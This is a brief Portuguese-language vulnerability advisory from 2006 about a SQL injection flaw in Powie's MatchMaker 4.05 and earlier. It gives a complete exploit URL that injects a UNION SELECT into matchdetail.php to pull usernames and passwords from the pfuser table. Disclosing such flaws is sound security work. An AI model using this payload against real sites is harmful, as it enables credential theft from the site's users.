Powie's MatchMaker: Injeção de Codigos SQL

Avaliação do Usuário: / 0
PiorMelhor 

Por Raphael Martins (Ashiyakuza)

17 de novembro de 2006

Nome do Script: Powie's MatchMaker Site do script: http://www.powie.de Versão Afetada: 4.05 e anteriores Encontrado por SHiKaA Email: SHiKaA- [at] hotmail.com Exploração: http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1

 

< Anterior		Próximo >